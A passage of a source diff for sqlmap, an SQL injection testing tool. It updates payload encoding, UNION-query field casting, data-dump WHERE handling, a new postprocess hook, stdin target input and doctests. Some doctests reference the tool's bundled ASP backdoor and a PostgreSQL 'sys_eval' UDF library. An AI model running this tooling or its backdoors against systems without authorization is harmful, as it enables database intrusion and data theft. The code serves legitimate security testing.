+            for match in re.finditer(r"%s(.*?)%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER), payload):
+                _ = encodeBase64(match.group(1), binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe)
+                payload = payload.replace(match.group(0), _)
+
             payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
             payload = payload.replace(SINGLE_QUOTE_MARKER, "'")
 
@@ -462,6 +471,12 @@ class Agent(object):
         @rtype: C{str}
         """
 
+        match = re.search(r"(?i)(.+)( AS \w+)\Z", field)
+        if match:
+            field, suffix = match.groups()
+        else:
+            suffix = ""
+
         nulledCastedField = field
 
         if field and Backend.getIdentifiedDbms():
@@ -481,6 +496,12 @@ class Agent(object):
             if conf.hexConvert or kb.binaryField:
                 nulledCastedField = self.hexConvertField(nulledCastedField)
 
+        if suffix:
+            nulledCastedField += suffix
+
+        if not kb.nchar:
+            nulledCastedField = re.sub(r"( AS )N(CHAR|VARCHAR)", r"\g<1>\g<2>", nulledCastedField)
+
         return nulledCastedField
 
     def nullCastConcatFields(self, fields):
@@ -524,6 +545,7 @@ class Agent(object):
             nulledCastedFields = []
 
             for field in fieldsSplitted:
+                field = re.sub(r"(?i) AS \w+\Z", "", field)         # NOTE: fields such as "... AS type_name" have to be stripped from the alias part for this functionality to work
                 nulledCastedFields.append(self.nullAndCastField(field))
 
             delimiterStr = "%s'%s'%s" % (dbmsDelimiter, kb.chars.delimiter, dbmsDelimiter)
@@ -770,7 +792,6 @@ class Agent(object):
             elif fieldsNoSelect:
                 concatenatedQuery = "CONCAT(CONCAT('%s',%s),'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
 
-
         return concatenatedQuery
 
     def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
@@ -1198,12 +1219,15 @@ class Agent(object):
 
     def whereQuery(self, query):
         if conf.dumpWhere and query:
-            match = re.search(r" (LIMIT|ORDER).+", query, re.I)
-            if match:
-                suffix = match.group(0)
-                prefix = query[:-len(suffix)]
+            if Backend.isDbms(DBMS.ORACLE) and re.search(r"qq ORDER BY \w+\)", query, re.I) is not None:
+                prefix, suffix = re.sub(r"(?i)(qq)( ORDER BY \w+\))", r"\g<1> WHERE %s\g<2>" % conf.dumpWhere, query), ""
             else:
-                prefix, suffix = query, ""
+                match = re.search(r" (LIMIT|ORDER).+", query, re.I)
+                if match:
+                    suffix = match.group(0)
+                    prefix = query[:-len(suffix)]
+                else:
+                    prefix, suffix = query, ""
 
             if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
                 prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
@@ -1213,7 +1237,7 @@ class Agent(object):
                 prefix += " WHERE %s" % conf.dumpWhere
 
             query = prefix
-            if suffix:
+            if suffix and not all(re.search(r"ORDER BY", _, re.I) is not None for _ in (query, suffix)):
                 query += suffix
 
         return query

lib/core/common.py

@@ -215,7 +215,7 @@ class UnicodeRawConfigParser(_configparser.RawConfigParser):
             fp.write("[%s]\n" % _configparser.DEFAULTSECT)
 
             for (key, value) in self._defaults.items():
-                fp.write("%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING).replace('\n', '\n\t')))
+                fp.write("\t%s = %s" % (key, getUnicode(value, UNICODE_ENCODING)))
 
             fp.write("\n")
 
@@ -225,9 +225,9 @@ class UnicodeRawConfigParser(_configparser.RawConfigParser):
             for (key, value) in self._sections[section].items():
                 if key != "__name__":
                     if value is None:
-                        fp.write("%s\n" % (key))
-                    else:
-                        fp.write("%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING).replace('\n', '\n\t')))
+                        fp.write("\t%s\n" % (key))
+                    elif not isListLike(value):
+                        fp.write("\t%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING)))
 
             fp.write("\n")
 
@@ -631,7 +631,8 @@ def paramToDict(place, parameters=None):
 
                 if parameter in (conf.base64Parameter or []):
                     try:
-                        oldValue = value
+                        kb.base64Originals[parameter] = oldValue = value
+                        value = urldecode(value, convall=True)
                         value = decodeBase64(value, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
                         parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value, parameters)
                     except:
@@ -970,8 +971,9 @@ def setColor(message, color=None, bold=False, level=None, istty=None):
                 if match:
                     retVal = retVal.replace(match.group(1), colored(match.group(1), color="lightgrey"))
 
-                for match in re.finditer(r"([^\w])'([^\n']+)'", message):  # single-quoted (Note: watch-out for the banner)
-                    retVal = retVal.replace(match.group(0), "%s'%s'" % (match.group(1), colored(match.group(2), color="lightgrey")))
+                if not any(_ in message for _ in ("Payload: ",)):
+                    for match in re.finditer(r"([^\w])'([^\n']+)'", message):  # single-quoted (Note: watch-out for the banner)
+                        retVal = retVal.replace(match.group(0), "%s'%s'" % (match.group(1), colored(match.group(2), color="lightgrey")))
 
         message = message.strip()
 
@@ -1051,6 +1053,16 @@ def dataToDumpFile(dumpFile, data):
             raise
 
 def dataToOutFile(filename, data):
+    """
+    Saves data to filename
+
+    >>> pushValue(conf.get("filePath"))
+    >>> conf.filePath = tempfile.gettempdir()
+    >>> "_etc_passwd" in dataToOutFile("/etc/passwd", b":::*")
+    True
+    >>> conf.filePath = popValue()
+    """
+
     retVal = None
 
     if data:
@@ -1348,7 +1360,7 @@ def banner():
     if not any(_ in sys.argv for _ in ("--version", "--api")) and not conf.get("disableBanner"):
         result = BANNER
 
-        if not IS_TTY or "--disable-coloring" in sys.argv:
+        if not IS_TTY or any(_ in sys.argv for _ in ("--disable-coloring", "--disable-colouring")):
             result = clearColors(result)
         elif IS_WIN:
             coloramainit()
@@ -1714,6 +1726,11 @@ def escapeJsonValue(value):
     Escapes JSON value (used in payloads)
 
     # Reference: https://stackoverflow.com/a/16652683
+
+    >>> "\\n" in escapeJsonValue("foo\\nbar")
+    False
+    >>> "\\\\t" in escapeJsonValue("foo\\tbar")
+    True
     """
 
     retVal = ""
@@ -1733,7 +1750,7 @@ def expandAsteriskForColumns(expression):
     the SQL query string (expression)
     """
 
-    match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+`?([^`\s()]+)", expression)
+    match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+((`[^`]+`|[^\s]+)+)", expression)
 
     if match:
         infoMsg = "you did not provide the fields in your query. "
@@ -1888,6 +1905,12 @@ def getLocalIP():
 def getRemoteIP():
     """
     Get remote/target IP address
+
+    >>> pushValue(conf.hostname)
+    >>> conf.hostname = "localhost"
+    >>> getRemoteIP() == "127.0.0.1"
+    True
+    >>> conf.hostname = popValue()
     """
 
     retVal = None
@@ -2014,6 +2037,9 @@ def normalizePath(filepath):
 def safeFilepathEncode(filepath):
     """
     Returns filepath in (ASCII) format acceptable for OS handling (e.g. reading)
+
+    >>> 'sqlmap' in safeFilepathEncode(paths.SQLMAP_HOME_PATH)
+    True
     """
 
     retVal = filepath
@@ -2046,6 +2072,8 @@ def safeStringFormat(format_, params):
 
     >>> safeStringFormat('SELECT foo FROM %s LIMIT %d', ('bar', '1'))
     'SELECT foo FROM bar LIMIT 1'
+    >>> safeStringFormat("SELECT foo FROM %s WHERE name LIKE '%susan%' LIMIT %d", ('bar', '1'))
+    "SELECT foo FROM bar WHERE name LIKE '%susan%' LIMIT 1"
     """
 
     if format_.count(PAYLOAD_DELIMITER) == 2:
@@ -2089,7 +2117,10 @@ def safeStringFormat(format_, params):
                         warnMsg += "Please report by e-mail content \"%r | %r | %r\" to '%s'" % (format_, params, retVal, DEV_EMAIL_ADDRESS)
                         raise SqlmapValueException(warnMsg)
                     else:
-                        retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count], retVal, 1)
+                        try:
+                            retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count], retVal, 1)
+                        except re.error:
+                            retVal = retVal.replace(match.group(0), match.group(0) % params[count], 1)
                         count += 1
                 else:
                     break
@@ -2220,6 +2251,15 @@ def isHexEncodedString(subject):
 def isMultiThreadMode():
     """
     Checks if running in multi-thread(ing) mode
+
+    >>> isMultiThreadMode()
+    False
+    >>> _ = lambda: time.sleep(0.1)
+    >>> thread = threading.Thread(target=_)
+    >>> thread.daemon = True
+    >>> thread.start()
+    >>> isMultiThreadMode()
+    True
     """
 
     return threading.activeCount() > 1
@@ -2228,6 +2268,9 @@ def isMultiThreadMode():
 def getConsoleWidth(default=80):
     """
     Returns console width
+
+    >>> any((getConsoleWidth(), True))
+    True
     """
 
     width = None
@@ -2434,6 +2477,9 @@ def initCommonOutputs():
 def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False):
     """
     Returns newline delimited items contained inside file
+
+    >>> "SELECT" in getFileItems(paths.SQL_KEYWORDS)
+    True
     """
 
     retVal = list() if not unique else OrderedDict()
@@ -2540,8 +2586,8 @@ def goGoodSamaritan(prevValue, originalCharset):
 
 def getPartRun(alias=True):
     """
-    Goes through call stack and finds constructs matching conf.dbmsHandler.*.
-    Returns it or its alias used in 'txt/common-outputs.txt'
+    Goes through call stack and finds constructs matching
+    conf.dbmsHandler.*. Returns it or its alias used in 'txt/common-outputs.txt'
     """
 
     retVal = None
@@ -3569,7 +3615,7 @@ def isListLike(value):
     False
     """
 
-    return isinstance(value, (list, tuple, set, BigArray))
+    return isinstance(value, (list, tuple, set, OrderedSet, BigArray))
 
 def getSortedInjectionTests():
     """
@@ -4734,7 +4780,7 @@ def serializeObject(object_):
     """
     Serializes given object
 
-    >>> type(serializeObject([1, 2, 3, ('a', 'b')])) == six.binary_type
+    >>> type(serializeObject([1, 2, 3, ('a', 'b')])) == str
     True
     """
 
@@ -4964,6 +5010,14 @@ def decloakToTemp(filename):
     >>> openFile(_, "rb", encoding=None).read().startswith(b'<%')
     True
     >>> os.remove(_)
+    >>> _ = decloakToTemp(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.asp_"))
+    >>> openFile(_, "rb", encoding=None).read().startswith(b'<%')
+    True
+    >>> os.remove(_)
+    >>> _ = decloakToTemp(os.path.join(paths.SQLMAP_UDF_PATH, "postgresql", "linux", "64", "11", "lib_postgresqludf_sys.so_"))
+    >>> b'sys_eval' in openFile(_, "rb", encoding=None).read()
+    True
+    >>> os.remove(_)
     """
 
     content = decloak(filename)
@@ -4997,6 +5051,12 @@ def getRequestHeader(request, name):
     Solving an issue with an urllib2 Request header case sensitivity
 
     # Reference: http://bugs.python.org/issue2275
+
+    >>> _ = lambda _: _
+    >>> _.headers = {"FOO": "BAR"}
+    >>> _.header_items = lambda: _.headers.items()
+    >>> getText(getRequestHeader(_, "foo"))
+    'BAR'
     """
 
     retVal = None
@@ -5094,6 +5154,13 @@ def pollProcess(process, suppress_errors=False):
 def parseRequestFile(reqFile, checkParams=True):
     """
     Parses WebScarab and Burp logs and adds results to the target URL list
+
+    >>> handle, reqFile = tempfile.mkstemp(suffix=".req")
+    >>> content = b"POST / HTTP/1.0\\nUser-agent: foobar\\nHost: www.example.com\\n\\nid=1\\n"
+    >>> _ = os.write(handle, content)
+    >>> os.close(handle)
+    >>> next(parseRequestFile(reqFile)) == ('http://www.example.com:80/', 'POST', 'id=1', None, (('User-agent', 'foobar'), ('Host', 'www.example.com')))
+    True
     """
 
     def _parseWebScarabLog(content):
@@ -5236,7 +5303,7 @@ def parseRequestFile(reqFile, checkParams=True):
                         params = True
 
                     # Avoid proxy and connection type related headers
-                    elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION):
+                    elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION, HTTP_HEADER.IF_MODIFIED_SINCE, HTTP_HEADER.IF_NONE_MATCH):
                         headers.append((getUnicode(key), getUnicode(value)))
 
                     if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""):

lib/core/convert.py

@@ -48,16 +48,16 @@ def base64pickle(value):
     retVal = None
 
     try:
-        retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL))
+        retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL), binary=False)
     except:
         warnMsg = "problem occurred while serializing "
         warnMsg += "instance of a type '%s'" % type(value)
         singleTimeWarnMessage(warnMsg)
 
         try:
-            retVal = encodeBase64(pickle.dumps(value))
+            retVal = encodeBase64(pickle.dumps(value), binary=False)
         except:
-            retVal = encodeBase64(pickle.dumps(str(value), PICKLE_PROTOCOL))
+            retVal = encodeBase64(pickle.dumps(str(value), PICKLE_PROTOCOL), binary=False)
 
     return retVal
 
@@ -198,6 +198,8 @@ def decodeBase64(value, binary=True, encoding=None):
     True
     >>> decodeBase64("MTIz", binary=False)
     '123'
+    >>> decodeBase64("A-B_CDE") == decodeBase64("A+B/CDE")
+    True
     >>> decodeBase64(b"MTIzNA") == b"1234"
     True
     >>> decodeBase64("MTIzNA") == b"1234"
@@ -206,12 +208,22 @@ def decodeBase64(value, binary=True, encoding=None):
     True
     """
 
+    if value is None:
+        return None
+
     padding = b'=' if isinstance(value, bytes) else '='
 
     # Reference: https://stackoverflow.com/a/49459036
     if not value.endswith(padding):
         value += 3 * padding
 
+    # Reference: https://en.wikipedia.org/wiki/Base64#URL_applications
+    # Reference: https://perldoc.perl.org/MIME/Base64.html
+    if isinstance(value, bytes):
+        value = value.replace(b'-', b'+').replace(b'_', b'/')
+    else:
+        value = value.replace('-', '+').replace('_', '/')
+
     retVal = base64.b64decode(value)
 
     if not binary:
@@ -219,16 +231,23 @@ def decodeBase64(value, binary=True, encoding=None):
 
     return retVal
 
-def encodeBase64(value, binary=True, encoding=None):
+def encodeBase64(value, binary=True, encoding=None, padding=True, safe=False):
     """
     Returns a decoded representation of provided Base64 value
 
     >>> encodeBase64(b"123") == b"MTIz"
     True
-    >>> encodeBase64(u"123", binary=False)
-    'MTIz'
+    >>> encodeBase64(u"1234", binary=False)
+    'MTIzNA=='
+    >>> encodeBase64(u"1234", binary=False, padding=False)
+    'MTIzNA'
+    >>> encodeBase64(decodeBase64("A-B_CDE"), binary=False, safe=True)
+    'A-B_CDE'
     """
 
+    if value is None:
+        return None
+
     if isinstance(value, six.text_type):
         value = value.encode(encoding or UNICODE_ENCODING)
 
@@ -237,6 +256,19 @@ def encodeBase64(value, binary=True, encoding=None):
     if not binary:
         retVal = getText(retVal, encoding)
 
+    if safe:
+        padding = False
+
+        # Reference: https://en.wikipedia.org/wiki/Base64#URL_applications
+        # Reference: https://perldoc.perl.org/MIME/Base64.html
+        if isinstance(retVal, bytes):
+            retVal = retVal.replace(b'+', b'-').replace(b'/', b'_')
+        else:
+            retVal = retVal.replace('+', '-').replace('/', '_')
+
+    if not padding:
+        retVal = retVal.rstrip(b'=' if isinstance(retVal, bytes) else '=')
+
     return retVal
 
 def getBytes(value, encoding=None, errors="strict", unsafe=True):

lib/core/enums.py

@@ -239,6 +239,7 @@ class HTTP_HEADER(object):
     EXPIRES = "Expires"
     HOST = "Host"
     IF_MODIFIED_SINCE = "If-Modified-Since"
+    IF_NONE_MATCH = "If-None-Match"
     LAST_MODIFIED = "Last-Modified"
     LOCATION = "Location"
     PRAGMA = "Pragma"

lib/core/option.py

@@ -8,6 +8,7 @@ See the file 'LICENSE' for copying permission
 from __future__ import division
 
 import codecs
+import collections
 import functools
 import glob
 import inspect
@@ -412,6 +413,37 @@ def _doSearch():
             else:
                 conf.googlePage += 1
 
+def _setStdinPipeTargets():
+    if isinstance(conf.stdinPipe, collections.Iterable):
+        infoMsg = "using 'STDIN' for parsing targets list"
+        logger.info(infoMsg)
+
+        class _(object):
+            def __init__(self):
+                self.__rest = OrderedSet()
+
+            def __iter__(self):
+                return self
+
+            def __next__(self):
+                return self.next()
+
+            def next(self):
+                line = next(conf.stdinPipe)
+                if line:
+                    match = re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I)
+                    if match:
+                        return (match.group(0), conf.method, conf.data, conf.cookie, None)
+                elif self.__rest:
+                    return self.__rest.pop()
+
+                raise StopIteration()
+
+            def add(self, elem):
+                self.__rest.add(elem)
+
+        kb.targets = _()
+
 def _setBulkMultipleTargets():
     if not conf.bulkFile:
         return
@@ -431,7 +463,7 @@ def _setBulkMultipleTargets():
         if conf.scope and not re.search(conf.scope, line, re.I):
             continue
 
-        if re.match(r"[^ ]+\?(.+)", line, re.I) or kb.customInjectionMark in line:
+        if re.match(r"[^ ]+\?(.+)", line, re.I) or kb.customInjectionMark in line or conf.data:
             found = True
             kb.targets.add((line.strip(), conf.method, conf.data, conf.cookie, None))
 
@@ -825,7 +857,7 @@ def _setTamperingFunctions():
 
 def _setPreprocessFunctions():
     """
-    Loads preprocess functions from given script(s)
+    Loads preprocess function(s) from given script(s)
     """
 
     if conf.preprocess:
@@ -870,17 +902,95 @@ def _setPreprocessFunctions():
                 raise SqlmapSyntaxException("cannot import preprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex)))
 
             for name, function in inspect.getmembers(module, inspect.isfunction):
-                if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")):
+                try:
+                    if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("req",)):
+                        found = True
+
+                        kb.preprocessFunctions.append(function)
+                        function.__name__ = module.__name__
+
+                        break
+                except ValueError:  # Note: https://github.com/sqlmapproject/sqlmap/issues/4357
+                    pass
+
+            if not found:
+                errMsg = "missing function 'preprocess(req)' "
+                errMsg += "in preprocess script '%s'" % script
+                raise SqlmapGenericException(errMsg)
+            else:
+                try:
+                    function(_urllib.request.Request("http://localhost"))
+                except:
+                    handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py")
+                    os.close(handle)
+
+                    openFile(filename, "w+b").write("#!/usr/bin/env\n\ndef preprocess(req):\n    pass\n")
+                    openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass")
+
+                    errMsg = "function 'preprocess(req)' "
+                    errMsg += "in preprocess script '%s' " % script
+                    errMsg += "appears to be invalid "
+                    errMsg += "(Note: find template script at '%s')" % filename
+                    raise SqlmapGenericException(errMsg)
+
+def _setPostprocessFunctions():
+    """
+    Loads postprocess function(s) from given script(s)
+    """
+
+    if conf.postprocess:
+        for script in re.split(PARAMETER_SPLITTING_REGEX, conf.postprocess):
+            found = False
+            function = None
+
+            script = safeFilepathEncode(script.strip())
+
+            try:
+                if not script:
+                    continue
+
+                if not os.path.exists(script):
+                    errMsg = "postprocess script '%s' does not exist" % script
+                    raise SqlmapFilePathException(errMsg)
+
+                elif not script.endswith(".py"):
+                    errMsg = "postprocess script '%s' should have an extension '.py'" % script
+                    raise SqlmapSyntaxException(errMsg)
+            except UnicodeDecodeError:
+                errMsg = "invalid character provided in option '--postprocess'"
+                raise SqlmapSyntaxException(errMsg)
+
+            dirname, filename = os.path.split(script)
+            dirname = os.path.abspath(dirname)
+
+            infoMsg = "loading postprocess module '%s'" % filename[:-3]
+            logger.info(infoMsg)
+
+            if not os.path.exists(os.path.join(dirname, "__init__.py")):
+                errMsg = "make sure that there is an empty file '__init__.py' "
+                errMsg += "inside of postprocess scripts directory '%s'" % dirname
+                raise SqlmapGenericException(errMsg)
+
+            if dirname not in sys.path:
+                sys.path.insert(0, dirname)
+
+            try:
+                module = __import__(safeFilepathEncode(filename[:-3]))
+            except Exception as ex:
+                raise SqlmapSyntaxException("cannot import postprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex)))
+
+            for name, function in inspect.getmembers(module, inspect.isfunction):
+                if name == "postprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")):
                     found = True
 
-                    kb.preprocessFunctions.append(function)
+                    kb.postprocessFunctions.append(function)
                     function.__name__ = module.__name__
 
                     break
 
             if not found:
-                errMsg = "missing function 'preprocess(page, headers=None, code=None)' "
-                errMsg += "in preprocess script '%s'" % script
+                errMsg = "missing function 'postprocess(page, headers=None, code=None)' "
+                errMsg += "in postprocess script '%s'" % script
                 raise SqlmapGenericException(errMsg)
             else:
                 try:
@@ -889,11 +999,11 @@ def _setPreprocessFunctions():
                     handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py")
                     os.close(handle)
 
-                    open(filename, "w+b").write("#!/usr/bin/env\n\ndef preprocess(page, headers=None, code=None):\n    return page, headers, code\n")
-                    open(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass")
+                    openFile(filename, "w+b").write("#!/usr/bin/env\n\ndef postprocess(page, headers=None, code=None):\n    return page, headers, code\n")
+                    openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass")
 
-                    errMsg = "function 'preprocess(page, headers=None, code=None)' "
-                    errMsg += "in preprocess script '%s' " % script
+                    errMsg = "function 'postprocess(page, headers=None, code=None)' "
+                    errMsg += "in postprocess script '%s' " % script
                     errMsg += "should return a tuple '(page, headers, code)' "
                     errMsg += "(Note: find template script at '%s')" % filename
                     raise SqlmapGenericException(errMsg)
@@ -1450,8 +1560,8 @@ def _createHomeDirectories():
     if conf.get("purge"):
         return
 
-    for context in "output", "history":
-        directory = paths["SQLMAP_%s_PATH" % context.upper()]
+    for context in ("output", "history"):
+        directory = paths["SQLMAP_%s_PATH" % getUnicode(context).upper()]   # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4363
         try:
             if not os.path.isdir(directory):
                 os.makedirs(directory)
@@ -1553,7 +1663,8 @@ def _cleanupOptions():
 
     for key, value in conf.items():
         if value and any(key.endswith(_) for _ in ("Path", "File", "Dir")):
-            conf[key] = safeExpandUser(value)
+            if isinstance(value, str):
+                conf[key] = safeExpandUser(value)
 
     if conf.testParameter:
         conf.testParameter = urldecode(conf.testParameter)
@@ -1580,7 +1691,7 @@ def _cleanupOptions():
 
     if conf.base64Parameter:
         conf.base64Parameter = urldecode(conf.base64Parameter)
-        conf.base64Parameter = conf.base64Parameter.replace(" ", "")
+        conf.base64Parameter = conf.base64Parameter.strip()
         conf.base64Parameter = re.split(PARAMETER_SPLITTING_REGEX, conf.base64Parameter)
     else:
         conf.base64Parameter = []
@@ -1762,6 +1873,8 @@ def _cleanupOptions():
         if not regex:
             conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
             conf.exclude = r"\A%s\Z" % '|'.join(re.escape(_) for _ in conf.exclude.split(','))
+        else:
+            conf.exclude = re.sub(r"(\w+)\$", r"\g<1>\$", conf.exclude)
 
     if conf.binaryFields:
         conf.binaryFields = conf.binaryFields.replace(" ", "")
@@ -1856,6 +1969,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.arch = None
     kb.authHeader = None
     kb.bannerFp = AttribDict()
+    kb.base64Originals = {}
     kb.binaryField = False
     kb.browserVerification = None
 
@@ -1944,12 +2058,12 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.identifiedWafs = set()
     kb.injection = InjectionDict()
     kb.injections = []
+    kb.jsonAggMode = False
     kb.laggingChecked = False
     kb.lastParserStatus = None
-    kb.lastCtrlCTime = None
 
     kb.locks = AttribDict()
-    for _ in ("cache", "connError", "count", "handlers", "hint", "index", "io", "limit", "log", "socket", "redirect", "request", "value"):
+    for _ in ("cache", "connError", "count", "handlers", "hint", "index", "io", "limit", "liveCookies", "log", "socket", "redirect", "request", "value"):
         kb.locks[_] = threading.Lock()
 
     kb.matchRatio = None
@@ -1957,6 +2071,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.mergeCookies = None
     kb.multipleCtrlC = False
     kb.negativeLogic = False
+    kb.nchar = True
     kb.nullConnection = None
     kb.oldMsf = None
     kb.orderByColumns = None
@@ -1999,7 +2114,6 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.responseTimeMode = None
     kb.responseTimePayload = None
     kb.resumeValues = True
-    kb.rowXmlMode = False
     kb.safeCharEncode = False
     kb.safeReq = AttribDict()
     kb.secondReq = None
@@ -2008,10 +2122,11 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.skipSeqMatcher = False
     kb.smokeMode = False
     kb.reduceTests = None
-    kb.tlsSNI = {}
+    kb.sslSuccess = False
     kb.stickyDBMS = False
     kb.storeHashesChoice = None
     kb.suppressResumeInfo = False
+    kb.tableExistsChoice = None
     kb.tableFrom = None
     kb.technique = None
     kb.tempDir = None
@@ -2021,7 +2136,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.testType = None
     kb.threadContinue = True
     kb.threadException = False
-    kb.tableExistsChoice = None
+    kb.tlsSNI = {}
     kb.uChar = NULL
     kb.udfFail = False
     kb.unionDuplicates = False
@@ -2034,8 +2149,10 @@ def _setKnowledgeBaseAttributes(flushAll=True):
         kb.checkSitemap = None
         kb.headerPaths = {}
         kb.keywords = set(getFileItems(paths.SQL_KEYWORDS))
+        kb.lastCtrlCTime = None
         kb.normalizeCrawlingChoice = None
         kb.passwordMgr = None
+        kb.postprocessFunctions = []
         kb.preprocessFunctions = []
         kb.skipVulnHost = None
         kb.storeCrawlingChoice = None
@@ -2682,6 +2799,7 @@ def init():
     _listTamperingFunctions()
     _setTamperingFunctions()
     _setPreprocessFunctions()
+    _setPostprocessFunctions()
     _setTrafficOutputFP()
     _setupHTTPCollector()
     _setHttpChunked()
@@ -2689,7 +2807,7 @@ def init():
 
     parseTargetDirect()
 
-    if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork)):
+    if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe)):
         _setHostname()
         _setHTTPTimeout()
         _setHTTPExtraHeaders()
@@ -2703,6 +2821,7 @@ def init():
         _setSocketPreConnect()
         _setSafeVisit()
         _doSearch()
+        _setStdinPipeTargets()
         _setBulkMultipleTargets()
         _checkTor()
         _setCrawler()

lib/core/optiondict.py

@@ -27,6 +27,7 @@ optDict = {
         "paramDel": "string",
         "cookie": "string",
         "cookieDel": "string",
+        "liveCookies": "string",
         "loadCookies": "string",
         "dropSetCookie": "boolean",
         "agent": "string",
@@ -203,6 +204,7 @@ optDict = {
         "answers": "string",
         "batch": "boolean",
         "base64Parameter": "string",
+        "base64Safe": "boolean",
         "binaryFields": "string",
         "charset": "string",
         "checkInternet": "boolean",
@@ -221,10 +223,12 @@ optDict = {
         "hexConvert": "boolean",
         "outputDir": "string",
         "parseErrors": "boolean",
+        "postprocess": "string",
         "preprocess": "string",
         "repair": "boolean",
         "saveConfig": "string",
         "scope": "string",
+        "skipHeuristics": "boolean",
         "skipWaf": "boolean",
         "testFilter": "string",
         "testSkip": "string",

lib/core/patch.py

@@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission
 """
 
 import codecs
+import os
 import random
 
 import lib.controller.checks
@@ -76,6 +77,15 @@ def dirtyPatches():
     # to prevent too much "guessing" in case of binary data retrieval
     thirdparty.chardet.universaldetector.MINIMUM_THRESHOLD = 0.90
 
+    # https://github.com/sqlmapproject/sqlmap/issues/4314
+    try:
+        os.urandom(1)
+    except NotImplemented:
+        if six.PY3:
+            os.urandom = lambda size: bytes(random.randint(0, 255) for _ in range(size))
+        else:
+            os.urandom = lambda size: "".join(chr(random.randint(0, 255)) for _ in xrange(size))
+
 def resolveCrossReferences():
     """
     Place for cross-reference resolution

lib/core/settings.py

@@ -18,7 +18,7 @@ from lib.core.enums import OS
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.4.8.0"
+VERSION = "1.4.12.0"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -52,6 +52,9 @@ IPS_WAF_CHECK_RATIO = 0.5
 # Timeout used in heuristic check for WAF/IPS protected targets
 IPS_WAF_CHECK_TIMEOUT = 10
 
+# Timeout used in checking for existence of live-cookies file
+LIVE_COOKIES_TIMEOUT = 120
+
 # Lower and upper values for match ratio in case of stable page
 LOWER_RATIO_BOUND = 0.02
 UPPER_RATIO_BOUND = 0.98
@@ -66,6 +69,7 @@ PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__"
 URI_QUESTION_MARKER = "__QUESTION_MARK__"
 ASTERISK_MARKER = "__ASTERISK_MARK__"
 REPLACEMENT_MARKER = "__REPLACEMENT_MARK__"
+BOUNDED_BASE64_MARKER = "__BOUNDED_BASE64_MARK__"
 BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION_MARK__"
 SAFE_VARIABLE_MARKER = "__SAFE__"
 SAFE_HEX_MARKER = "__SAFE_HEX__"

lib/core/target.py

@@ -111,7 +111,7 @@ def _setRequestParams():
         def process(match, repl):
             retVal = match.group(0)
 
-            if not (conf.testParameter and match.group("name") not in [removePostHintPrefix(_) for _ in conf.testParameter]) and match.group("name") == match.group("name").strip('\\'):
+            if not (conf.testParameter and match.group("name") not in (removePostHintPrefix(_) for _ in conf.testParameter)) and match.group("name") == match.group("name").strip('\\'):
                 retVal = repl
                 while True:
                     _ = re.search(r"\\g<([^>]+)>", retVal)
@@ -400,7 +400,7 @@ def _setRequestParams():
